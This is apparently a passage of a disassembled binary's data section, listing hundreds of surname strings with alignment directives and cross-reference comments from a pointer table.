align 10h aVenne db 'Venne',0 align 4 aWengret db 'Wengret',0 aWelsh db 'Welsh',0 align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042E77Co align 10h aVelasquez db 'Velasquez',0 align 4 aWeissman db 'Weissman',0 align 4 aWeissbourd db 'Weissbourd',0 align 4 aWeinhaus db 'Weinhaus',0 align 10h aWeingarten db 'Weingarten',0 align 4 aWeighart db 'Weighart',0 align 4 aWaugh db 'Waugh',0 align 10h aVasquez db 'Vasquez',0 aWasowska db 'Wasowska',0 align 4 aWarshafsky db 'Warshafsky',0 align 10h aVanheeckeren db 'Vanheeckeren',0 align 10h aVandenberg db 'Vandenberg',0 align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042E748o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042E744o align 10h aWalter db 'Walter',0 align 4 aWallenberg db 'Wallenberg',0 align 4 aWales db 'Wales',0 align 4 aValencia db 'Valencia',0 align 4 aValberg db 'Valberg',0 aWaite db 'Waite',0 ; DATA XREF: ___:0042E72Co align 4 aVacca db 'Vacca',0 align 10h aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042E724o align 4 aUsdan db 'Usdan',0 align 10h aUrdangBrown db 'Urdang-Brown',0 align 10h aUrban db 'Urban',0 ; DATA XREF: ___:0042E718o align 4 aUpsdell db 'Upsdell',0 aUntermeyer db 'Untermeyer',0 align 4 aUllman db 'Ullman',0 align 4 aTzamarias db 'Tzamarias',0 align 10h aTwells db 'Twells',0 align 4 aTuttle db 'Tuttle',0 align 10h aTurek db 'Turek',0 align 4 aTurano db 'Turano',0 align 10h aTukan db 'Tukan',0 align 4 aTudge db 'Tudge',0 align 10h aTuck db 'Tuck',0 align 4 aTsukurov db 'Tsukurov',0 align 4 aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042E6E4o align 10h aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042E6E0o aTruss db 'Truss',0 align 10h aTroy db 'Troy',0 ; DATA XREF: ___:0042E6D8o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042E6D4o aTringali db 'Tringali',0 ; DATA XREF: ___:0042E6D0o align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042E6CCo align 4 aTrenga db 'Trenga',0 ; DATA XREF: ___:0042E6C8o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042E6C4o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042E6C0o align 10h aTowler db 'Towler',0 ; DATA XREF: ___:0042E6BCo align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042E6B8o align 10h aTorresi db 'Torresi',0 ; DATA XREF: ___:0042E6B4o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042E6B0o aToomer db 'Toomer',0 ; DATA XREF: ___:0042E6ACo align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042E6A8o aTolman db 'Tolman',0 ; DATA XREF: ___:0042E6A4o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042E6A0o align 10h aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042E69Co align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042E698o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042E694o aTill db 'Till',0 ; DATA XREF: ___:0042E690o align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E68Co aThroop db 'Throop',0 ; DATA XREF: ___:0042E688o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E684o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E680o aThibault db 'Thibault',0 ; DATA XREF: ___:0042E67Co align 4 aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E678o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E674o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E670o align 4 aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E66Co align 10h aTenney db 'Tenney',0 ; DATA XREF: ___:0042E668o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E664o align 10h aTemes db 'Temes',0 ; DATA XREF: ___:0042E660o align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E65Co align 10h aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E658o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E654o align 4 aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E650o aTatar db 'Tatar',0 ; DATA XREF: ___:0042E64Co align 4 aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E648o align 10h aTandler db 'Tandler',0 ; DATA XREF: ___:0042E644o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E640o aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E63Co align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E638o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E634o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E630o aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E62Co align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E628o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E624o align 10h aSuo db 'Suo',0 ; DATA XREF: ___:0042E620o aSumner db 'Sumner',0 ; DATA XREF: ___:0042E61Co align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E618o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E614o align 4 aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E610o aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E60Co aStrange db 'Strange',0 ; DATA XREF: ___:0042E608o aStott db 'Stott',0 ; DATA XREF: ___:0042E604o align 4 aStorer db 'Storer',0 ; DATA XREF: ___:0042E600o align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E5FCo aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E5F8o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E5F4o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E5F0o align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E5ECo align 10h aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E5E8o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E5E4o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E5E0o align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E5DCo aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E5D8o align 10h aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E5D4o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E5D0o aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E5CCo align 4 aStates db 'States',0 ; DATA XREF: ___:0042E5C8o align 4 aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E5C4o align 4 aStang db 'Stang',0 ; DATA XREF: ___:0042E5C0o align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E5BCo align 4 aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E5B8o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E5B4o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E5B0o aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E5ACo align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E5A8o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E5A4o align 4 aSperber db 'Sperber',0 ; DATA XREF: ___:0042E5A0o aSpence db 'Spence',0 ; DATA XREF: ___:0042E59Co align 4 aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E598o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E594o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E590o aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E58Co aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E588o align 4 aSoule db 'Soule',0 ; DATA XREF: ___:0042E584o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E580o align 4 aSottak db 'Sottak',0 ; DATA XREF: ___:0042E57Co align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E578o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E574o align 10h aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E570o align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E56Co align 4 aSolon db 'Solon',0 ; DATA XREF: ___:0042E568o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E564o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E560o align 10h aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E55Co aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E558o align 10h aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E554o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E550o align 10h aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E54Co align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E548o align 10h aSkane db 'Skane',0 ; DATA XREF: ___:0042E544o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E540o align 10h aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E53Co aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E538o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E534o align 10h aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E530o align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E52Co align 4 aSigini db 'Sigini',0 ; DATA XREF: ___:0042E528o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E524o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E520o align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E51Co align 4 aShibata db 'Shibata',0 ; DATA XREF: ___:0042E518o aShia db 'Shia',0 ; DATA XREF: ___:0042E514o align 4 aShesko db 'Shesko',0 ; DATA XREF: ___:0042E510o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E50Co align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E508o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E504o align 10h aSheats db 'Sheats',0 ; DATA XREF: ___:0042E500o align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E4FCo align 10h aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E4F8o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E4F4o aShar db 'Shar',0 ; DATA XREF: ___:0042E4F0o align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E4ECo aShankland db 'Shankland',0 ; DATA XREF: ___:0042E4E8o align 10h aShakis db 'Shakis',0 ; DATA XREF: ___:0042E4E4o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E4E0o align 10h aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E4DCo aSexton db 'Sexton',0 ; DATA XREF: ___:0042E4D8o align 10h aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E4D4o align 4 aSennett db 'Sennett',0 ; DATA XREF: ___:0042E4D0o aSen db 'Sen',0 ; DATA XREF: ___:0042E4CCo aSelvage db 'Selvage',0 ; DATA XREF: ___:0042E4C8o aSekler db 'Sekler',0 ; DATA XREF: ___:0042E4C4o align 4 aSegal db 'Segal',0 ; DATA XREF: ___:0042E4C0o align 10h aSeeber db 'Seeber',0 ; DATA XREF: ___:0042E4BCo align 4 aSeaton db 'Seaton',0 ; DATA XREF: ___:0042E4B8o align 10h aScudder db 'Scudder',0 ; DATA XREF: ___:0042E4B4o aScovel db 'Scovel',0 ; DATA XREF: ___:0042E4B0o align 10h aSchwickrath db 'Schwickrath',0 ; DATA XREF: ___:0042E4ACo aSchwan db 'Schwan',0 ; DATA XREF: ___:0042E4A8o align 4 aSchuyler db 'Schuyler',0 ; DATA XREF: ___:0042E4A4o align 10h aSchutte db 'Schutte',0 ; DATA XREF: ___:0042E4A0o aSchuman db 'Schuman',0 ; DATA XREF: ___:0042E49Co aSchossberger db 'Schossberger',0 ; DATA XREF: ___:0042E498o align 10h aSchmitt db 'Schmitt',0 ; DATA XREF: ___:0042E494o aSchilling db 'Schilling',0 ; DATA XREF: ___:0042E490o align 4 aSchifini db 'Schifini',0 ; DATA XREF: ___:0042E48Co align 10h aSchiano db 'Schiano',0 ; DATA XREF: ___:0042E488o aScheiner db 'Scheiner',0 ; DATA XREF: ___:0042E484o align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: ___:0042E480o aScharf db 'Scharf',0 ; DATA XREF: ___:0042E47Co align 4 aScepan db 'Scepan',0 ; DATA XREF: ___:0042E478o align 10h aScarponi db 'Scarponi',0 ; DATA XREF: ___:0042E474o align 4 aSayied db 'Sayied',0 ; DATA XREF: ___:0042E470o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: ___:0042E46Co aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: ___:0042E468o align 4 aSatta db 'Satta',0 ; DATA XREF: ___:0042E464o align 4 aSatin db 'Satin',0 ; DATA XREF: ___:0042E460o align 4 aSase db 'Sase',0 ; DATA XREF: ___:0042E45Co align 4 aSartore db 'Sartore',0 ; DATA XREF: ___:0042E458o aSarin db 'Sarin',0 ; DATA XREF: ___:0042E454o align 4 aSapers db 'Sapers',0 ; DATA XREF: ___:0042E450o align 4 aSanna db 'Sanna',0 ; DATA XREF: ___:0042E44Co align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: ___:0042E448o aSamson db 'Samson',0 ; DATA XREF: ___:0042E444o align 4 aSali db 'Sali',0 ; DATA XREF: ___:0042E440o align 4 aSahu db 'Sahu',0 ; DATA XREF: ___:0042E43Co align 4 aSafire db 'Safire',0 ; DATA XREF: ___:0042E438o align 4 aSadler db 'Sadler',0 ; DATA XREF: ___:0042E434o align 4 aSabatello db 'Sabatello',0 ; DATA XREF: ___:0042E430o align 4 aRyu db 'Ryu',0 ; DATA XREF: ___:0042E42Co aRush db 'Rush',0 ; DATA XREF: ___:0042E428o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: ___:0042E424o align 10h aRuderman db 'Ruderman',0 ; DATA XREF: ___:0042E420o align 4 aRuan db 'Ruan',0 ; DATA XREF: ___:0042E41Co align 4 aRu db 'Ru',0 ; DATA XREF: ___:0042E418o align 4 aRoyal db 'Royal',0 ; DATA XREF: ___:0042E414o align 10h aRow db 'Row',0 ; DATA XREF: ___:0042E410o aRonen db 'Ronen',0 ; DATA XREF: ___:0042E40Co align 4 aRogers db 'Rogers',0 ; DATA XREF: ___:0042E408o align 4 aRoesler db 'Roesler',0 ; DATA XREF: ___:0042E404o aRocha db 'Rocha',0 ; DATA XREF: ___:0042E400o align 4 aRobinson db 'Robinson',0 ; DATA XREF: ___:0042E3FCo align 10h aRivera db 'Rivera',0 ; DATA XREF: ___:0042E3F8o align 4 aRish db 'Rish',0 ; DATA XREF: ___:0042E3F4o align 10h aRineer db 'Rineer',0 ; DATA XREF: ___:0042E3F0o align 4 aRindos db 'Rindos',0 ; DATA XREF: ___:0042E3ECo align 10h aRielly db 'Rielly',0 ; DATA XREF: ___:0042E3E8o align 4 aRichmond db 'Richmond',0 ; DATA XREF: ___:0042E3E4o align 4 aRhea db 'Rhea',0 ; DATA XREF: ___:0042E3E0o align 4 aResnik db 'Resnik',0 ; DATA XREF: ___:0042E3DCo align 4 aRepetto db 'Repetto',0 ; DATA XREF: ___:0042E3D8o aRenick db 'Renick',0 ; DATA XREF: ___:0042E3D4o align 4 aRemak db 'Remak',0 ; DATA XREF: ___:0042E3D0o align 4 aReinold db 'Reinold',0 ; DATA XREF: ___:0042E3CCo aCunningham db 'Cunningham',0 ; DATA XREF: ___:0042E3C8o align 10h aReedquist db 'Reedquist',0 ; DATA XREF: ___:0042E3C4o align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0042E3C0o align 4 aRayport db 'Rayport',0 ; DATA XREF: ___:0042E3BCo aRapple db 'Rapple',0 ; DATA XREF: ___:0042E3B8o align 4 aRankin db 'Rankin',0 ; DATA XREF: ___:0042E3B4o align 4 aRangan db 'Rangan',0 ; DATA XREF: ___:0042E3B0o align 4 aRaney db 'Raney',0 ; DATA XREF: ___:0042E3ACo align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0042E3A8o aRadeke db 'Radeke',0 ; DATA XREF: ___:0042E3A4o align 4 aRabkin db 'Rabkin',0 ; DATA XREF: ___:0042E3A0o align 10h aRabe db 'Rabe',0 ; DATA XREF: ___:0042E39Co align 4 aQuetin db 'Quetin',0 ; DATA XREF: ___:0042E398o align 10h aQuaday db 'Quaday',0 ; DATA XREF: ___:0042E394o align 4 aPynchon db 'Pynchon',0 ; DATA XREF: ___:0042E390o aPugh db 'Pugh',0 ; DATA XREF: ___:0042E38Co align 4 aPuccia db 'Puccia',0 ; DATA XREF: ___:0042E388o align 10h aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0042E384o align 10h aProietti db 'Proietti',0 ; DATA XREF: ___:0042E380o align 4 aPritz db 'Pritz',0 ; DATA XREF: ___:0042E37Co align 4 aPritchard db 'Pritchard',0 ; DATA XREF: ___:0042E378o align 10h aPrevost db 'Prevost',0 ; DATA XREF: ___:0042E374o aPreucel db 'Preucel',0 ; DATA XREF: ___:0042E370o aPresper db 'Presper',0 ; DATA XREF: ___:0042E36Co aPowers db 'Powers',0 ; DATA XREF: ___:0042E368o align 10h aPoolman db 'Poolman',0 ; DATA XREF: ___:0042E364o aPoma db 'Poma',0 ; DATA XREF: ___:0042E360o align 10h aPolitis db 'Politis',0 ; DATA XREF: ___:0042E35Co aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0042E358o aPolak db 'Polak',0 ; DATA XREF: ___:0042E354o align 4 aPoirier db 'Poirier',0 ; DATA XREF: ___:0042E350o aPointer db 'Pointer',0 ; DATA XREF: ___:0042E34Co aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0042E348o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: ___:0042E344o align 10h aPo db 'Po',0 ; DATA XREF: ___:0042E340o align 4 aPlous db 'Plous',0 ; DATA XREF: ___:0042E33Co align 4 aPlasket db 'Plasket',0 ; DATA XREF: ___:0042E338o aPlant db 'Plant',0 ; DATA XREF: ___:0042E334o align 4 aPlancon db 'Plancon',0 ; DATA XREF: ___:0042E330o aPinot db 'Pinot',0 ; DATA XREF: ___:0042E32Co align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0042E328o aPfister db 'Pfister',0 ; DATA XREF: ___:0042E324o aPettit db 'Pettit',0 ; DATA XREF: ___:0042E320o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: ___:0042E31Co align 10h aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0042E318o align 4 aPeters db 'Peters',0 ; DATA XREF: ___:0042E314o align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0042E310o align 10h aPerone db 'Perone',0 ; DATA XREF: ___:0042E30Co align 4 aPerna db 'Perna',0 ; DATA XREF: ___:0042E308o align 10h aPerlman db 'Perlman',0 ; DATA XREF: ___:0042E304o aPerlak db 'Perlak',0 ; DATA XREF: ___:0042E300o align 10h aPerko db 'Perko',0 ; DATA XREF: ___:0042E2FCo align 4 aPereira db 'Pereira',0 ; DATA XREF: ___:0042E2F8o aPenny db 'Penny',0 ; DATA XREF: ___:0042E2F4o align 4 aPeishel db 'Peishel',0 ; DATA XREF: ___:0042E2F0o aPederson db 'Pederson',0 ; DATA XREF: ___:0042E2ECo align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0042E2E8o align 4 aPeabody db 'Peabody',0 ; DATA XREF: ___:0042E2E4o aPaynter db 'Paynter',0 ; DATA XREF: ___:0042E2E0o aPawloski db 'Pawloski',0 ; DATA XREF: ___:0042E2DCo align 4 aPavlon db 'Pavlon',0 ; DATA XREF: ___:0042E2D8o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: ___:0042E2D4o aPattullo db 'Pattullo',0 ; DATA XREF: ___:0042E2D0o align 10h aPatrick db 'Patrick',0 ; DATA XREF: ___:0042E2CCo aPatefield db 'Patefield',0 ; DATA XREF: ___:0042E2C8o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: ___:0042E2C4o align 10h aPartridge db 'Partridge',0 ; DATA XREF: ___:0042E2C0o align 4 aParris db 'Parris',0 ; DATA XREF: ___:0042E2BCo align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0042E2B8o aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0042E2B4o align 4 aPantilla db 'Pantilla',0 ; DATA XREF: ___:0042E2B0o align 4 aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0042E2ACo align 4 aPanadero db 'Panadero',0 ; DATA XREF: ___:0042E2A8o align 10h aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0042E2A4o align 4 aPallara db 'Pallara',0 ; DATA XREF: ___:0042E2A0o aPalepu db 'Palepu',0 ; DATA XREF: ___:0042E29Co align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0042E298o align 4 aPaine db 'Paine',0 ; DATA XREF: ___:0042E294o align 10h aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0042E290o align 10h aOvid db 'Ovid',0 ; DATA XREF: ___:0042E28Co align 4 aOuchida db 'Ouchida',0 ; DATA XREF: ___:0042E288o aOtten db 'Otten',0 ; DATA XREF: ___:0042E284o align 4 aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0042E280o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0042E27Co align 10h aOspina db 'Ospina',0 ; DATA XREF: ___:0042E278o align 4 aOrsi db 'Orsi',0 ; DATA XREF: ___:0042E274o align 10h aOrfield db 'Orfield',0 ; DATA XREF: ___:0042E270o aOray db 'Oray',0 ; DATA XREF: ___:0042E26Co align 10h aOpel db 'Opel',0 ; DATA XREF: ___:0042E268o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0042E264o aOman db 'Oman',0 ; DATA XREF: ___:0042E260o align 4 aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0042E25Co align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0042E258o align 10h aOlson db 'Olson',0 ; DATA XREF: ___:0042E254o align 4 aOlsen db 'Olsen',0 ; DATA XREF: ___:0042E250o align 10h aOldford db 'Oldford',0 ; DATA XREF: ___:0042E24Co aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0042E248o aOh db 'Oh',0 ; DATA XREF: ___:0042E244o align 4 aOgata db 'Ogata',0 ; DATA XREF: ___:0042E240o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: ___:0042E23Co aNuzum db 'Nuzum',0 ; DATA XREF: ___:0042E238o align 4 aNotman db 'Notman',0 ; DATA XREF: ___:0042E234o align 4 aNitabach db 'Nitabach',0 ; DATA XREF: ___:0042E230o align 10h aNisenson db 'Nisenson',0 ; DATA XREF: ___:0042E22Co align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0042E228o align 4 aNickerson db 'Nickerson',0 ; DATA XREF: ___:0042E224o align 4 aNi_0 db 'Ni',0 ; DATA XREF: ___:0042E220o align 4 aNg db 'Ng',0 ; DATA XREF: ___:0042E21Co align 4 aNewlin db 'Newlin',0 ; DATA XREF: ___:0042E218o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0042E214o aNeuman db 'Neuman',0 ; DATA XREF: ___:0042E210o align 4 aNesci db 'Nesci',0 ; DATA XREF: ___:0042E20Co align 4 aNenna db 'Nenna',0 ; DATA XREF: ___:0042E208o align 4 aNelson db 'Nelson',0 ; DATA XREF: ___:0042E204o align 4 aNayduch db 'Nayduch',0 ; DATA XREF: ___:0042E200o aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0042E1FCo aNardone db 'Nardone',0 ; DATA XREF: ___:0042E1F8o aNardi db 'Nardi',0 ; DATA XREF: ___:0042E1F4o align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0042E1F0o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0042E1ECo align 10h aMussachio db 'Mussachio',0 ; DATA XREF: ___:0042E1E8o align 4 aMumford db 'Mumford',0 ; DATA XREF: ___:0042E1E4o aMulroy db 'Mulroy',0 ; DATA XREF: ___:0042E1E0o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: ___:0042E1DCo aMugnai db 'Mugnai',0 ; DATA XREF: ___:0042E1D8o align 4 aMuello db 'Muello',0 ; DATA XREF: ___:0042E1D4o align 4 aMudarri db 'Mudarri',0 ; DATA XREF: ___:0042E1D0o aMotooka db 'Motooka',0 ; DATA XREF: ___:0042E1CCo aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0042E1C8o align 10h aMosler db 'Mosler',0 ; DATA XREF: ___:0042E1C4o align 4 aMosher db 'Mosher',0 ; DATA XREF: ___:0042E1C0o align 10h aMortimer db 'Mortimer',0 ; DATA XREF: ___:0042E1BCo align 4 aMorrow db 'Morrow',0 ; DATA XREF: ___:0042E1B8o align 4 aMorrison db 'Morrison',0 ; DATA XREF: ___:0042E1B4o align 10h aMoreton db 'Moreton',0 ; DATA XREF: ___:0042E1ADo aMorani db 'Morani',0 align 10h aMooredech_ db 'MooreDeCh.',0 align 4 aMontilio db 'Montilio',0 ; DATA XREF: ___:loc_42E1A1o align 4 aMonque db 'Monque',0 align 10h aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0042E19Co align 4 aMohr db 'Mohr',0 ; DATA XREF: ___:0042E198o align 4 aMoeller db 'Moeller',0 ; DATA XREF: ___:0042E194o aModestino db 'Modestino',0 ; DATA XREF: ___:0042E190o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: ___:0042E18Co aMittal db 'Mittal',0 ; DATA XREF: ___:0042E188o align 4 aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0042E184o aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0042E180o align 10h aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0042E17Co aMini db 'Mini',0 ; DATA XREF: ___:0042E178o align 4 aMinh db 'Minh',0 ; DATA XREF: ___:0042E174o align 4 aMills db 'Mills',0 ; DATA XREF: ___:0042E170o align 4 aMieher db 'Mieher',0 ; DATA XREF: ___:0042E16Co align 4 aMiddle db 'Middle',0 ; DATA XREF: ___:0042E168o align 4 aMichelman db 'Michelman',0 ; DATA XREF: ___:0042E164o align 10h aMeurer db 'Meurer',0 ; DATA XREF: ___:0042E160o align 4 aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0042E15Co align 4 aMetelka db 'Metelka',0 ; DATA XREF: ___:0042E158o aMerz db 'Merz',0 ; DATA XREF: ___:0042E154o align 4 aMerseth db 'Merseth',0 ; DATA XREF: ___:0042E150o aMerminod db 'Merminod',0 ; DATA XREF: ___:0042E14Co align 4 aMerlani db 'Merlani',0 ; DATA XREF: ___:0042E148o aMerikoski db 'Merikoski',0 ; DATA XREF: ___:0042E144o align 4 aMenzies db 'Menzies',0 ; DATA XREF: ___:0042E140o aMemisoglu db 'Memisoglu',0 ; DATA XREF: ___:0042E13Co align 10h aMeccariello db 'Meccariello',0 ; DATA XREF: ___:0042E138o aMcnulty db 'Mcnulty',0 ; DATA XREF: ___:0042E134o aMcnealy db 'Mcnealy',0 ; DATA XREF: ___:0042E130o aMclaren db 'Mclaren',0 ; DATA XREF: ___:0042E12Co aMclane db 'Mclane',0 ; DATA XREF: ___:0042E128o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: ___:0042E124o aMcintosh db 'Mcintosh',0 ; DATA XREF: ___:0042E120o align 10h aMcilroy db 'McIlroy',0 ; DATA XREF: ___:0042E11Co aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: ___:0042E118o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: ___:0042E114o align 4 aMcfadden db 'McFadden',0 ; DATA XREF: ___:0042E110o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: ___:0042E10Co aMcdowell db 'Mcdowell',0 ; DATA XREF: ___:0042E108o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: ___:0042E104o align 4 aMccall db 'Mccall',0 ; DATA XREF: ___:0042E100o align 10h aMccaffery db 'Mccaffery',0 ; DATA XREF: ___:0042E0FCo align 4 aMcbride db 'Mcbride',0 ; DATA XREF: ___:0042E0F8o aMazziotta db 'Mazziotta',0 ; DATA XREF: ___:0042E0F4o align 10h aMazzali db 'Mazzali',0 ; DATA XREF: ___:0042E0F0o aMay db 'May',0 ; DATA XREF: ___:0042E0ECo aMauzy db 'Mauzy',0 ; DATA XREF: ___:0042E0E8o align 4 aMattson db 'Mattson',0 ; DATA XREF: ___:0042E0E4o aMatsukata db 'Matsukata',0 ; DATA XREF: ___:0042E0E0o align 4 aMatarazzo db 'Matarazzo',0 ; DATA XREF: ___:0042E0DCo align 4 aMatalka db 'Matalka',0 ; DATA XREF: ___:0042E0D8o aMass db 'Mass',0 ; DATA XREF: ___:0042E0D4o align 4 aMarubini db 'Marubini',0 ; DATA XREF: ___:0042E0D0o align 10h aMarton db 'Marton',0 ; DATA XREF: ___:0042E0CCo align 4 aMartochio db 'Martochio',0 ; DATA XREF: ___:0042E0C8o align 4 aMartinez db 'Martinez',0 ; DATA XREF: ___:0042E0C4o align 10h aMarques db 'Marques',0 ; DATA XREF: ___:0042E0C0o aMargetts db 'Margetts',0 ; DATA XREF: ___:0042E0BCo align 4 